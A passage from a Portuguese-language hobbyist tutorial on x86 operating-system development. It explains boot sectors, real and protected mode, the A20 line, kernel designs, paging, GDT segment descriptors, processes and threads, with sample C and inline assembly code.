disco, a bios olha o primeiro *setor. Se houver neste setor, a assinatura de boot 0x55AA, a bios
lerá este setor para a memória e pulará (jmp, goto) para ele.
Lá o setor de boot fará o que tiver que fazer, porém, se você faz parte daquele pessoal que
está acostumado a arquivos e tal, talvez você esteja se perguntando como colocar um pedaço
de código no setor inicial.
Para quem programa em assembly, é simples. Primeiro monte seu setor de boot, assegure-se
que o mesmo possui 512 bytes, que seu código está no início do programa, e não após os
dados, não esqueça da assinatura 0x55AA nos dois últimos bytes. Não utilize nenhuma
interrupção de _D0S, ou de outro sistema em modo real (interrupções de bios são válidas)
depois compile seu código em um arquivo binário e coloque-o no disco de alguma maneira
(utilizando algum programa, por exemplo).
Se você programa em C, as coisas são um tanto mais complicadas. Você terá que configurar se
linker para colocar o código no início do programa e para criar um arquivo binário. Além disso,
38
você não poderá utilizar algumas funções da biblioteca padrão (geralmente funções de E/S),
como printf, scanf, open, write, fopen, fwrite, malloc, etc. Se você quiser utilizar estas funções,
terá que escrever sua própria biblioteca. As funções de manipulação de conteúdo da memória
(memcpy, memcmp, strcpy, strchr) podem ser utilizadas à vontade. Você também terá de
implementar algum tipo de gerenciamento do retorno da função main(), ou seja, não basta o
"return 0;" de sempre.
O ideal em termos de setor de boot, é que seja escrito em assembly, já que pode possuir
apenas 510 bytes (510 + assinatura( 2 bytes )).
Como dito, uma das opções do setor de boot é pular para o kernel. Antes de vermos o que é o
kernel, precisamos entender os modos de operação de um x86.
* MODO REAL
O modo real surgiu na arquitetura x86 há bastante tempo. Este modo de operação caracterizase por utilizar instruções de 16 bits, e fazer acesso e transferências de dados, primariamente
em 16 bits.
O acesso à memória no modo real tem de ser feito utilizando registradores de 16 bits, porém,
um valor de 16 bits alcança um valor máximo de 65536 (64KB). Até mesmo para a época em
que entrou em vigor o modo real, 64KB não eram suficientes; então criou-se um outro sistema
de endereçamento, baseado em segmentos e offsets.
Um segmento é um bloco contíguo de 64KB, e um offset é um deslocamento dentro deste
bloco. Os segmentos iniciam a cada 16 bytes, logo os segmentos são entrelaçados. Para você
entender melhor, vai um exemplo:
Se você colocar um valor no endereço 0 do segmento 1, este valor inicia-se no 16º byte do
segmento 0, pois a cada 16 bytes, inicia-se um segmento.
OK. Para obter o endereço real na memória da posição do seu segmento, simplesmente
multiplique-o por 16 (Ex.: segmento 90 (90 * 16 = 1440) -> o segmento 90 inicia-se no 1440º
byte da memória). Os offsets são valores que você utiliza para se deslocar nestes segmentos.
Por exemplo, se você deseja acessar o 50º byte do segmento 30, você simplesmente utiliza um
offset de 50!
O endereçamento pelo modelo segmento + offset é representado da seguinte maneira:
segmento:offset
Ex. segmento 30, offset 50:
30:50
0x001E:0x0032
Para mais informações sobre o endereçamento em modo real, e a utilização do mesmo,
consulte algum tutorial ou artigo sobre o assunto.
Como o modo real é o modo nativo, não precisamos de intruções especiais para entrarmos
nele.
* MODO PROTEGIDO
O modo protegido possui como padrão, instruções e acessos de 32 bits. Este modo de
operação surgiu com os processadores 80386. O acesso à memória neste modo é um pouco
mais complexo ao nível do sistema, e mais simples ao nível do programador.
O modo protegido nos dá um acesso máximo de 4GB de memória (2^32), e, portanto não há a
necessidade da utilização de segmentos. Porém, para compatibilidade, a segmentação
continuou neste modo. A principal novidade em termos de memória foi a integração de
paginação com auxílio do processador.
Para quem desconhece a paginação, ela é um sistema de mapeamento virtual da memória,
onde se pode utilizar endereços fisicamente inexistentes, os quais são mapeados para
39
endereços físicos reais. A paginação também auxilia no swapping, que é uma técnica que
permite expandir virtualmente o tamanho da memória com o auxílio do disco. Falaremos sobre
paginação mais tarde.
Para entrarmos em modo protegido, precisamos fazer algumas coisas antes:
1.
2.
3.
4.
Desabilitar interrupções (veremos interrupções mais tarde)
Construir e habilitar uma GDT (veremos GDT mais tarde, em memória virtual -> segmentos)
Habilitar o bit PE no registrador CR0
Executar um far jmp para limpar o fluxo de execução
Vamos a um exemplo:
asm( "cli\n"
/* Desabilitamos interrupções */
"lgdt (%%eax)\n" /* Carregamos a gdt com o ponteiro do descritor da tabela em eax */
"mov 8, %%ds\n" /* Salvamos o segmento 8 em %ds */
"mov %%cr0, %%eax\n" /* Colocamos %cr0 em %eax */
"or 1, %%eax\n"
/* Habilitamos o bit PE */
"mov %%eax, %%cr0\n" /* Colocamos %eax em %cr0*/
"jmp %%ds:rotulo\n"
"rotulo:" : : "a" (pt_GDT_Desc)); /* pt_GDT_Desc = ponteiro da GDT */
Não se preocupe com a GDT e as interrupções. Vamos a parte que interessa. Primeiro,
salvamos o valor 8 em ds, porque quando formos realizar o jmp para limpar o fluxo de
execução (sem esse jmp, continuariamos executando em 16 bits =P), teremos de realizar um
far jmp. O 8, neste caso, se refere ao segmento (veremos mais tarde os segmentos em modo
protegido) ao qual vamos pular. Você deverá alterar este valor para qualquer valor de
segmento de código que lhe seja conveniente.
O bit 0 do registrador CR0 nos indica se estamos em modo protegido ou não. Este registrador
só é acessível à programas de sistema (kernel e etc).
Antes de continuarmos, vamos dar uma olhada num subtópico rapidinho:
* A20
O A20 é um bit localizado na port do teclado, utilizado para permitir o acesso a
endereços maiores que 1MB. Mesmo em modo protegido, este bit tem de ser ativado, senão
ficaremos limitado ao 1º MB. Este bit se localiza na port 0x60. Utilizamos um comando na port
0x64 para podermos escrever nesta port.
Não é muito recomendável utilizar as ports para habilitar a A20 porque em alguns
casos, simplesmente não funciona. Então, devemos utilizar a bios (enquanto em modo real)
para habilitarmos o A20.
Na bios, utilizamos a int 15, com valor 0x2401 para habilitar o A20 e 0x2400 para
desabilitar. Vejamos um código simples para habilitar o A20 (este código deverá ser compilado
em 16 bits):
asm( "mov 0x2401, %ax\n"
"int 15");
Simples, né!
* MODO LONGO
Este modo foi introduzido com os processadores da arquitetura AMD64.
Neste modo, os acessos são comumente feitos em 64 bits, porém o padrão para as instruções é
40
de 32 bits. A maior novidade em termos de memória é o abandono praticamente total da
segmentação.
OBS: Nosso tutorial tem enfoque no modo protegido.
KERNEL:
Você já deve ter lido ou ouvido que o kernel é considerado o coração do sistema operacional.
Essa definição ocorre porque o kernel é responsável pela maioria dos recursos e serviços
fornecidos por um sistema operacional. No kernel localizam-se, geralmente, as syscalls e todas
as estruturas necessárias para o funcionamento do OS.
Há basicamente dois tipos de kernel: monolítico e microkernel.
O modelo monolítico utiliza um sistema de abstração forte, dando ao programa uma ampla
variedade de interfaces para a interação com o hardware, e, conseqüentemente, restringindo o
acesso direto ao hardware por meio de programas de usuário. Este tipo de kernel também é
um tanto difícil de ser mantido no nível do programador, devido ao conjunto de interações
complexas que ocorrem no mesmo. Este kernel geralmente possui gerenciadores de recursos
próprios, e executa em um espaço virtual aberto, ou seja, todos os seus módulos podem
utilizar tal espaço e, em alguns casos, todos tem o mesmo tipo de privilégio de acesso,
podendo ocasionar problemas caso módulos maliciosos ou "bugados" sejam acoplados ao
kernel.
O modelo de microkernel possui uma abstração menor em relação ao modelo monolítico,
permitindo que os programas de usuário possam interagir com o hardware em determinadas
situações (e, ás vezes, com algum controle) e não possuem tantos objetos de abstração como o
kernel monolítico. Este kernel é mais fácil de ser mantido do que o kernel monolítico,
principalmente porque este executa em ambiente virtual fechado, restringindo o acesso dos
módulos ao kernel e ao hardware (quando possível). Isso permite que módulos maliciosos ou
"bugados" não comprometam o sistema totalmente. Este tipo de kernel destaca-se também
pela descentralização de funções, em função de sua simplicidade de abstração, deixando o
gerenciamento de determinados recursos para módulos.
O maior problema com os mirokernéis está na performance, pois o fato de ser "separado" de
seus módulos gerenciadores causa uma sobrecarga, devido ao trabalho de mudança de
contexto de execução, que, em muitos casos, é comparável ao contexto de mudança de
execução entre processos (pense, por enquanto, em processos como programas rodando, mais
tarde veremos o que são realmente).
SYSCALLS
Uma syscall é uma requisição que um programa faz ao kernel. O tipo de requisição é variável.
Podemos ter requisições para a leitura e escrita de arquivos, para o gerenciamento de
processos (veremos mais tarde), etc.
Em C, uma syscall é análoga a uma função, porém uma função que leva o programa
diretamente ao kernel.
Dentro do kernel, ou acoplado a ele, como dito anteriormente, encontram-se módulos de
gerenciamento. Darei alguns exemplos destes módulos e de suas funções:
GERENCIAMENTO DE MEMÓRIA VIRTUAL
Se você nunca ouviu falar de memória virtual, não se preocupe, darei uma explicação.
Memória virtual é um sistema onde se mapeia a memória física para endereços muitas vezes
inexistentes. Isso quer dizer que você pode possuir apenas 64 MB de memória e mesmo assim
ver seu programa rodando no endereço 512 MB. Isso é possível com o auxílio do hardware,
geralmente do processador, que faz a tradução do endereço atual em endereço físico. É bom
lembrar que, como tal façanha é feita em relação a toda a memória, não somente o código,
41
mas também os dados também podem estar em endereços inexistentes (afinal, é tudo a mesma
coisa). Façamos um teste para deixar-mos as coisas mais claras:
/* Programa de exemplo: obtenção de EIP e de um buffer alocado dinamicamente na memória
*/
#include <stdio.h>
char *Formato = "\nBuffer = 0x%X, EIP = 0x%X\n\n"; // String a ser imprimida
int main(void)
{
void *Buffer = (void *) malloc( 8 );
/* Alocamos um buffer para testar o posicionamento do mesmo na memória */
asm(
"call rotulo1\n" /* chamando call, obtemos eip na pilha */
"rotulo1:\n" /* Essa é a nossa função 'void rotulo1(void)' */
"push %%eax\n" /* Salvamos %eax na pilha (Buffer dinâmico) */
"push %%ebx\n" /* Salvamos %ebx na pilha (String a ser imprimida) */
"call printf" : : "a" (Buffer), "b" (Formato));
/* Imprimimos */
free( Buffer ); /* Liberamos o buffer */
return 0; /* E damos o fora */
}
Vamos dar uma olhada na saída:
bash# gcc eip_e_buf.c -o eeb
bash# ./eeb
Buffer = 0x804A050, EIP = 0x80483CB
bash#
OK, como você pode ver, o buffer está no endereço 0x804A050 (aprox. 128 MB). Isso está
dentro do meu limite físico (256MB), então, iremos alocar um buffer grande para podermos
obter um endereço de alocação dinâmica maior.
/* Programa de exemplo: obtenção de EIP e de um buffer alocado dinamicamente na memória
*/
#include <stdio.h>
char *Formato = "\nBuffer = 0x%X, EIP = 0x%X\n\n"; // String a ser imprimida
int main(void)
{
void *Buffer_aux = (void *) malloc( 1048576 * 200 ); // alocarei 256 MB o0
42
if( ! Buffer_aux ) printf( "Erro: alocacao principal" );
void *Buffer = (void *) malloc( 8 );
/* Alocamos um buffer para testar o posicionamento do mesmo na memória */
asm(
"call rotulo1\n" /* chamando call, obtemos eip na pilha */
"rotulo1:\n" /* Essa é a nossa função 'void rotulo1(void)' */
"push %%eax\n" /* Salvamos %eax na pilha (Buffer dinâmico) */
"push %%ebx\n" /* Salvamos %ebx na pilha (String a ser imprimida) */
"call printf" : : "a" (Buffer), "b" (Formato));
/* Imprimimos */
free( Buffer ); /* Liberamos o buffer */
free( Buffer_aux); /* Liberamos o buffer auxiliar */
return 0; /* E damos o fora */
}
Vamos dar uma olhada na saída:
bash# gcc eip_e_buf.c -o eeb
bash# ./eeb
Erro: alocacao principal
Buffer = 0x9ED00490, EIP = 0x80483CB
bash#
Bom, tivemos um erro de alocação, porém a tentativa de alocação mudou nosso ponteiro,
obtivemos desta vez o endereço 0x9ED00490, que equivale a aproximadamente o endereço
2.48 GB.
Isso prova que a memória virtual realmente existe!!! :P
A tradução do endereço virtual para o endereço físico é feita pelo processador e é invisível ao
programa de usuário. O kernel (ou algum(s) de seus módulos) é responsável pelo
gerenciamento e manutenção da tabela de tradução.
A memória virtual é útil no contexto de que ela permite que cada programa seja capaz de "ver"
o seu espaço virtual como um todo de memória (é como se cada programa fosse capaz de
possuir sua própria memória do endereço 0 ao endereço máximo). Isso também permite que
programas não interfiram no espaço alheio, pois um endereço utilizado por um programa pode
ser utilizado por outro, e os dados lá presentes não serão os do primeiro programa.
O sistema de implementação de memória virtual mais conhecido atualmente é a paginação.
PAGINAÇÃO
A paginação é um sistema geralmente integrado ao processador, onde se faz a a sua
manipulação da memória em blocos chamados páginas. Cada página pode possuir um tamanho
específico. Na arquitetura x86, as páginas padrão possuem 4KB, porém é possível termos
páginas de 4MB e 2MB. Em outras arquiteturas podemos ter páginas variando de 1KB até
43
256MB. É possível mapear o endereço de uma página a partir de sua base. Para quem conhece
o sistema binário e hexadecimal, vamos à explicação (quem não entende, pode pular para
SWAPPING):
Quando você vai configurar o endereço, geralmente ele já possui uma base de bits. No caso de
páginas de 4KB, esta base é 12. Isso significa que o endereço obtido pela página é um
endereço onde se faz "left shifting" com 12 bits (ou multiplica-se o valor por 4096 (é tudo a
mesma coisa)). Deste modo, você poderá obter com o valor 1, o endereço 4096, com o valor 2,
o endereço 8192. Isso impede que uma página esteja contida em outra, porém é possível
mapear áreas de memória em comum, por exemplo, você pode configurar duas páginas com o
valor 1, ou seja, ambas apontam para o endereço 4096.
SWAPPING
Esta técnica surgiu para corrigir a falta de memória de um sistema. A memória virtual é uma
boa técnica, pois mostra aos programas endereços inexistentes, além de mantêr uma
individualidade entre estes, porém não aumenta o tamanho da memória, pois você só dispoem
da memória existente para fazer o mapeamento.
O swapping foi criado para suprir esta necessidade. Utilizando o swapping, você pode obter
mais memória do que o que está realmente disponível.
O swapping consiste no armazenamento de páginas que não estão sendo utilizadas atualmente
no disco. Com isso, simplesmente armazenamos páginas conforme não estamos utilizando-as e
precisamos de mais espaço. Quando as páginas armazenadas forem requisitadas, o kernel (ou
o módulo responsável) retira uma página da memória, se necessário, armazena-a no disco,
retira a página requisitada, armazena-a no local onde estava a anterior e configura seu
endereço.
Se você já teve algum contato com modo real, ou alguma introdução à arquitetura x86, deve
estar notando que eu não falei sobre segmentos. Isso se deve pelo fato de a segmentação ser
presente apenas nesta arquitetura e "atrapalhar" quando se fala em portabilidade de código,
por tal razão, irei supor que você estará trabalhando com modelo flat (poucos segmentos,
geralmente todos de 4GB).
Bem, pessoas, isso é tudo muito bonito e interessante, mas como na prática a teoria é outra,
vamos ver como tudo funciona :D
PRÁTICA - MEMÓRIA VIRTUAL
Bem, mesmo não querendo citar os segmentos, é aqui que começamos (infelizmente =[[[).
Vamos lá.
Para criar um segmento, definimos uma tabela, onde cada entrada corresponde a um descritor
de segmento. Abaixo temos o formato de um descritor:
31
0
------------------------------------------------------------|Base 31:24|G|D/B|0|AVL|Limite 19:16|P|DPL|S|Tipo|Base 23:16| byte 4
------------------------------------------------------------31
16|15
0
------------------------------------------------------------|
Base 15:00
|
Limite 15:00
-------------------------------------------------------------
| byte 0
A tabela de segmentos (também conhecida como GDT ou LDT) pode contêr até 8192
descritores. Cada descritor possui 8 bytes.
Vamos ver para que serve cada campo de um descritor:
Exemplo [bits onde se encontram no descritor do byte 4]: descrição
44
Base [0:7 e 24:31]: Endereço base do segmento, quando você se referir ao byte 0 deste
segmento, fisicamente estará se referindo ao endereço base.
Limite [16:19]: Tamanho do segmento, em incrementos de 1 byte ou 4KB, dependendo do valor
do bit G.
G [23]: Bit de granuralidade. Determina de que maneira o limite do segmento será
interpretado, pois o limite é um valor de 20 bits. Se este bit for 0, o segmento terá seu limite
entre 0 e 1MB, se for 1, o segmento terá seu limite entre 0 e 4GB em blocos de 4KB
(multiplicando o valor do limite).
DB [22]: Se o segmento for de código, este bit identifica o tamanho padrão de operações e
endereçamento (0 = 16 bits, 1 = 32 bits). Se o segmento for de dados, e for segmento de pilha,
o bit identifica o tamanho dos dados a serem colocados na pilha (0 = 16 bits, 1 = 32 bits). Se o
segmento for de dados expansível , o bit identifica o tamanho máximo do segmento (0 = 64KB,
1 = 4GB).
0 [21]: Tem que sempre ser zero
AVL [20]: Bit disponível para você utilizar como quiser.
P [15]: Bit que identifica se o segmento está presente ou ausente na memória. Muito bom se
você for fazer swapping de um segmento inteiro ^^
DPL [13:14]: Identifica o nível de privilégio do segmento. Veremos isso quando falarmos sobre
proteção na arquitetura.
S [12]: Identifica um segmento de códigos ou dados (bit = 1) ou um segmento de sistema (bit
= 0).
Tipo [8:11]: Identifica o tipo de segmento. Vejamos os tipos disponíveis:
Para segmento de código:
Bit
Bit
Bit
Bit
0:
1:
2:
3:
Bit
Bit
Bit
Bit
de
de
de
de
segmento acessado
permissão de leitura do segmento
identificação de segmento do tipo "conforming"
identificação de segmento de código (sempre 1 para segmentos de código)
Para segmento de dados:
Bit
Bit
Bit
Bit
0:
1:
2:
3:
Bit
Bit
Bit
Bit
de
de
de
de
segmento acessado
permissão para escrita no segmento
identificação de segmento expansível
identificação de segmento de código (sempre 0 para segmentos de dados)
É bom lembrar que a pilha tem que ficar num segmento de dados :P
Para quem trabalha com C e não está acostumado a trabalhar com bits pode ser complicado,
então vamos criar uma função para criar e obter um descritor:
/* Flags para tipo de segmento */
/* Para dados */
#define
#define
#define
#define
45
S_DADOS
0 /* Segmento de dados (não é realmente necessário)*/
S_ACESSADO 1 /* Segmento acessado */
S_ESCRITA 2 /* O segmento possui permissão de escrita */
S_EXPAND 4 /* O segmento é expansível */
/* Para codigo */
#define S_CODIGO 8 /* Segmento de código (é necessário) */
/* #define S_ACESSADO 1 */ /* Segmento acessado */
#define S_LEITURA 2 /* O segmento possui permissão de leitura */
#define S_CONFORM 4 /* O segmento é do tipo "conforming" */
struct Descritor
{
unsigned long Base; // Endereço base do segmento
unsigned long Limite; // Tamanho do segmento
unsigned long Tipo;
// Flags de tipo
unsigned long Sistema; // É segmento de sistema? (0 = não)
unsigned
unsigned
unsigned
unsigned
long
long
long
long
DB;
// Informações sobre tamanho
DPL;
// DPL do segmento
Gran;
// Granularidade
Avl;
// Bit disponível
unsigned long Presente; // Segmento presente?
};
void CriarDescritor(Descritor *Desc, void buf)
{
/* buf deve possuir no min 8 bytes */
/* Criamos um descritor em buf a partir dos dados em Desc */
char *Buffer = (char *) buf;
memcpy( Buffer + 0, & Desc->Limite, 2 );
memcpy( Buffer + 2, & Desc->Base, 2 );
Buffer[4] = Desc->Base >> 16;
Buffer[5] = Desc->Tipo;
if( ! Desc->Sistema )
Buffer[5] |= 0x8;
Buffer[5] |= Desc->DPL << 5;
if( Desc->Presente )
Buffer[5] |= 0x80;
Buffer[6] = (Desc->Limite << 12) >> 28;
if( Desc->Avl )
Buffer[6] |= 0x4;
if( Desc->DB )
Buffer[6] |= 0x10;
46
if( Desc->Gran )
Buffer[6] |= 0x20;
Buffer[7] = Desc->Base >> 24;
}
void RetornarDescritor(void *buf, Descritor *Desc)
{
/* buf deve possuir no min 8 bytes */
/* Retornamos um descritor em Desc a partir dos dados em buf */
char *Buffer = (char *) buf;
memcpy( & Desc->Limite, Buffer + 0, 2 );
memcpy( & Desc->Base, Buffer + 2, 2 );
Desc->Base += (unsigned char) Buffer[4] << 16;
Desc->Tipo = (unsigned char) Buffer[5] ^
((unsigned char) Buffer[5] >> 4) << 4;
Buffer[5] & 0x8 ? Desc->Sistema = 0 : Desc->Sistema = 1;
Desc->DPL = (unsigned char) Buffer[5] >> 5 ^
((unsigned char) Buffer[5] >> 7) << 2;
Buffer[5] & 0x80 ? Desc->Presente = 1 : Desc->Presente = 0;
Desc->Limite += (unsigned char) Buffer[6] << 16;
Buffer[6] & 0x4 ? Desc->Avl = 1 : Desc->Avl = 0;
Buffer[6] & 0x10 ? Desc->DB = 1 : Desc->DB = 0;
Buffer[6] & 0x20 ? Desc->Gran = 1 : Desc->Gran = 0;
Desc->Base += (unsigned char) Buffer[7] << 24;
}
Eu tenho o péssimo hábito de não comentar meus códigos e além disto tem de se ter uma base
binária para entender o que ocorre nestas funções, porém elas fazem o que prometem =]
Essas funções podem ser úteis se você pretende trabalhar com segmentos dentro de um OS
(talvez um módulo no linux :P).
Quando um segmento é de sistema, temos as seguintes possibilidades para o campo tipo:
0x1 : TSS de 16 bits (disponível)
0x3 : TSS de 16 bits (ocupada)
0x9 : TSS de 32 bits (disponível)
0xB : TSS de 32 bits (ocupada)
0x2 : LDT
0x4 : Task gate
0x6 : Interrupt gate de 16 bits
0x7 : Trap gate de 16 bits
47
0xC : Call gate de 32 bits
0xE : Interrupt gate de 32 bits
0xF : Trap gate de 32 bits
Todos os outros valores são reservados.
TSSs são segmentos que descrevem uma tarefa (processo, thread, job, etc). Veremos a função
de TSSs quando falarmos sobre processos e threads.
Gates são segmentos onde se localizam funções especiais, que podem acessadas somente por
determinados programas, ou onde o conteúdo de tais funções tem de rodar sob um ambiente
mais ou menos protegido (veremos gates no tópico interrupções).
A tabela de segmentos é carregada no registrador GDT (isso mesmo, quando trabalhamos com
software de sistema, existem masi registradores para trabalharmos :D). Veja um exemplo de
carregamento do registrador:
char Buffer[6]; /* Buffer onde armazenaremos o descritor da GDT */
short tamanho = tamanho_da_tabela - 1;
long endereco = endereco_fisico_da_tabela;
memcpy( Buffer, & tamanho, 2 ); /* Copiamos o tamanho da tabela */
memcpy( Buffer + 2, & endereco, 4); /* E seu endereço para o Buffer */
asm( "lgdt (%%eax)" : : "a" ( Buffer )); /* Carregamos a tabela */
A instrução lgdt carrega os valores presentes no ponteiro de seu parâmetro. Essa
demonstração utiliza a instrução de 32 bits. Use o opcode 66h para obter essa instrução em
ambiente 16 bits. O primeiro valor deverá possui 2 bytes, e equivale ao tamanho da tabela - 1.
O segundo valor deverá possuir 4 bytes e equivale ao endereço fisico da tabela.
OK, agora vamos abandonar toda esta segmentação chata e iremos ver a paginação :DDD.
A paginação ocorre com base em tabelas, como a GDT, porém com descritores diferentes, e,
no caso de páginas de 4KB (padrão) necessitamos de duas tabelas. A primeira destas duas
tabelas chama-se diretório de páginas,e suas entradas identificam a segunda tabela, chamada
de tabela de páginas. Esta, por sua vez, identifica a página em si. Ambas as tabelas podem ter,
no máximo, 1024 entradas. Vejamos um exemplo de descritores para páginas de 4KB:
Descritor de tabela de páginas de 4KB (descritor presente no diretório de páginas)
31
0
----------------------------------|Base|Avl|G|PS|0|A|PCD|PWD|US|RW|P|
----------------------------------Descritor de página de 4KB (descritor presente na tabela de páginas)
31
0
-----------------------------------|Base|Avl|G|PAT|D|A|PCD|PWT|US|RW|P|
-----------------------------------OBS: Os campos ocupam exatamente os mesmos bits em ambos os descritores.
Base [12:31]: Endereço físico da tabela/página. Este endereço é multiplicado por 4096, ou
seja, a tabela/página deve estar alinhada em 4KB.
Avl [9:11]: Bits disponíveis para o programador.
48
G [8]: Página global (ignorado no descritor de tabela de páginas). Este bit previne que a
página seja invalidada durante a troca de contextos entre processos e a mudança de diretório
de páginas. Útil para páginas que contêm o kernel, por exemplo.
PS/PAT [7]: PS = tamanho de página (sempre 0 para páginas de 4KB). PAT = Este bit
seleciona um modelo de cacheamento de página diferente do normal. Veremos se eu lembrar
de escrever algo sobre cacheamento de memória.
o/D [6]: 0 = sempre zero. D = bit de página suja. É disponível para ser utilizado pelo software
de gerenciamento de páginas. Quando a página for utilizada para escrita, este bit é setado (D
= 1) pelo processador, e o software de gerenciamento pode verificar se a página foi utilizada
para a escrita mais tarde. Este bit não é limpo (D = 0) pelo processador. O software de
gereciamento deve zera-lo por conta própria.
A [5]: Bit de página acessada. É setado (A = 1) quando a página é acessada para leitura ou
escrita pelo processador. O software de gerenciamento de páginas também é responsável por
limpar este bit.
PCD [4]: Bit de desabilitação de cacheamento de memória. Este bit impede que a
tabela/página referente ao descritor atual seja colocada no cache do processador.
PWT [3]: Controla o tipo de cacheamento a ser utilizado. Se este bit for 0, utiliza-se o modelo
write-back. Se for 1, utiliza-se write-through.
US [2]: Identifica uma página/tabela de usuário (US = 1) ou uma página/tabela de supervisor
(software de sistema [kernel]) (US = 0).
RW [1]: Se for 0, a página/tabela é somente leitura. Se for 1, a página/tabela pode ser lida e
escrita.
P [0]: Identifica se a página/tabela está presente na memória (bom para utilizar com
swapping).
Quando utilizamos páginas de 4MB, o descritor é praticamente o mesmo, e utilizamos somente
uma tabela, a de diretório, porém suas entradas apontam diretamente para as páginas.
Descritor de página de 4MB (descritor presente no diretório de páginas)
31
0
------------------------------------------|Base|Res|PAT|Avl|G|PS|D|A|PCD|PWT|US|RW|P|
------------------------------------------O campo Res é reservado, deverá sempre ser 0.
A novidade aqui é que alguns campos estão em lugares diferentes. Abaixo segue os campos
deste descritor que não são comuns aos descritores de tabela de páginas e suas respectivas
posições:
Base [22:31], Res [13:21], PAT [12].
No caso de páginas de 4MB, PS deverá ser 1.
O diretório de páginas é carregado no registrador de sistema CR3 (da mesma maneira que
carregamos o cr0 anteriormente). Apenas os bits 12:31 armazenam o endereço do diretório,
forçando o mesmo a estar em um endereço múltiplo de 4096 (4KB). O bit 3 controla o
cacheamento do diretório. Se for 0, o modelo é write-back, caso contrário, é write-through. O
bit 4 desabilita o cacheamento do diretório se for 1, se for 0, o cacheamento é permitido.
49
Bom, vamos ver como acontece a tradução da memória virtual, acessando um endereço virtual
aleatório:
Escolhi o endereço 3493867552 (0xD0403020), que corresponde a aprox. 3.25GB. Vejamos os
esquemas de tradução:
Tradução de memória virtual para páginas de 4KB
31
22|21 12|11
0
------------------------------| Diretório | Tabela | Offset |
------------------------------Tradução de memória virtual para páginas de 4MB
31
22|21
0
------------------------------| Diretório |
Offset
|
------------------------------OK. Vamos decompor os endereços para obtermos a memória física.
Diretório: 10 bits
Tabela: 10 bits
Offset: 12 bits (4KB) ou 22 bits (4MB)
OBS: O diretório e a tabela são acessados com 10 bits do endereço cada um. Por essa razão
podemos ter somente 1024 entradas na tabela (2^10 = 1024 = 1111111111b = 0x3FF =
1023).
0xD0403020
Valor binário: 11010000010000000011000000100000
Páginas de 4KB:
Diretório: 1101000001 (0x341) (833)
Tabela: 0000000011 (0x003) (003)
Offset: 000000100000 (0x020) (032)
Isso significa que pegaremos a entrada número 833 no diretório. Iremos para a tabela
apontada por essa entrada. Na tabela olharemos para a entrada número 3, nessa entrada
verificaremos o endereço físico da entrada (não esqueça de deslocar a base multiplicando por
4KB ou fazendo "left shifting" por 12). Iremos até o endereço física da página, e adicionamos
32. Pronto, obtemos o endereço físico do byte a ser acessado.
Para páginas de 4MB, a única diferença é que a entrada 833 do diretório apontará diretamente
para uma página (não esqueça de deslocar a base multiplicando por 4MB ou fazendo "left
shifting" por 22). E o offset será o deslocamento dentro dessa página.
É importante lembrar que é o processador quem faz todo este trabalho, e, a menos que o
kernel necessite obter o endereço físico para algum propósito, a única preocupação do kernel
deverá ser a de montar corretamente as tabelas de acordo com o endereço necessitado.
Talvez você ainda não tenha entendido como é possível que cada programa possua o máximo
de memória em seu espaço virtual. Vamos a um exemplo:
50
O programa A ocupa os seguintes endereços da sua memória virtual:
-----------------| 1MB - 64MB |
-----------------| 512MB - 700 MB |
-----------------| 3GB - 3.5GB |
-----------------Isso significa que ele possui páginas mapeadas para estes endereços, porém esas páginas
provavelmente estarão em outras posíções na memória física.
Quando iniciamos o programa B, guardamos o diretório de páginas do programa A em algum
lugar. Então, trocamos o diretório de páginas do programa A, pelo diretório do programa B.
Com a mudança de diretório, o programa B possuirá seu próprio espaço virtual, ou seja, ele
poderá utilizar endereços virtuais utilizados por A, porque seu diretório de páginas é diferente
do de A, e suas páginas estão mapeadas apenas em seu diretório. Assim, o programa B poderá
ter estruturas e dados que ocupam as mesmas posições ocupadas no mesmo espaço virtual de
A, porém, esta memória estará mapeada num diretório de páginas diferente.
OK, chega de memória virtual. Para fazer swapping você deve estar apto a trabalhar com o
disco e isso é um tanto chato, mas se eu lembrar, no fim do artigo coloco algumas informações
sobre discos IDE/ATA.
MULTITAREFA
Há algum tempo (até o início da década de 1990), eram comuns os sistemas onde apenas um
programa rodava por vez. Com o passar do tempo, essa situação se tornou insustentável, e
surgiram sistemas que utilizam a técnica de multitarefa. Esta técnica é bem simples: Dá-se
uma quantidade de tempo para o programa 1, este é executado, e após a quantidade de tempo
pertencente ao programa 1 passar, salvamos informações sobre seu estado e executamos o
programa 2.
A estrutura onde se armazena as informações que permitem dar continuidade é geralmente
chamada de contexto. Nesta estrutura se encontram, geralmente, informações como os valores
dos registradores.
PROCESSOS
Um processo é uma abstraçâo, analogo a um programa rodando, ou seja, um processo e
composto basicamente por seções de um arquivo binario.
O sistema operacional é responsavel pelo gerenciamento dos processos que estão em
execução em um determinado ambiente computacional. Quando um processo é criado, o
sistema operacional inicializa estruturas de manutenção da execução do processo (ex:
manipuladores de arquivo, recursos de sistema, contexto, etc). Estas estruturas são
necessárias porque o modelo computacional de ambiente de trabalho utilizado atualmente faz
uso da "multitarefa".
Um processo é basicamente composto de:
* Contexto
* Espaço Virtual
Em seu espaço virtual, encontramos suas seções, ou seja, seu código, dados e uma área
destinada à alocação dinâmica. O modelo mais comum de organização da memória em
sistemas linux é o seguinte:
51
-----------| .DATA |
-----------| .BSS |
-----------| .TEXT |
-----------.DATA: Seção de dados estáticos e da pilha.
.BSS: Seção de dados dinâmicos
.TEXT: Seção de código
Os processos geralmente encontram-se em um de 3 estados diferentes: rodando, esperando e
bloqueado.
Um processo que está rodando está sendo executado agora no processador. Quando seu tempo
de execução terminar, ele vai para a lista de espera. Se ele relizar alguma operação de E/S,
será bloqueado.
Um processo que está esperando está num fila, esperando sua vez de executar.
Um processo bloqueado é um processo que está aguardando um recurso do sistema, ou a
finalização de uma operação de entrada ou saída (E/S). Geralmente um processo bloqueado é
colocado na fila de espera quando liberado.
Os processos são sempre gerenciados pelo kernel ou um de seus módulos.
THREADS
Após algum tempo, foi criado o conceito de thread. Um thread possui descrição igual a
descrição do processo dada anteriormente, porém os thread não executam em espaço virtual
separado.
Assim, os threads possuem em comum o espaço virtual e os recursos deste espaço, enquanto
cada um possui seu próprio contexto e tempo de execução. Com a criação de threads, para os
processos sobrou apenas armazenar informações do espaço virtual e sobre os threads (em
uma lista talvez).
Assim, um thread é uma unidade de execução que possui independência em relação a sua
execução, pois é este que agora possui os 3 estados citados anteriormente, e não o processo
inteiro. Isso permite que um thread que faz E/S possa ser bloqueado, sem bloquear o processo
inteiro (permitindo que outros threads do processo executem).
Os threads também representam economia em relação à espaço e recursos de execução, pois
se você estiver em um ambiente sem threads, e você precisar criar 10 threads para realizar
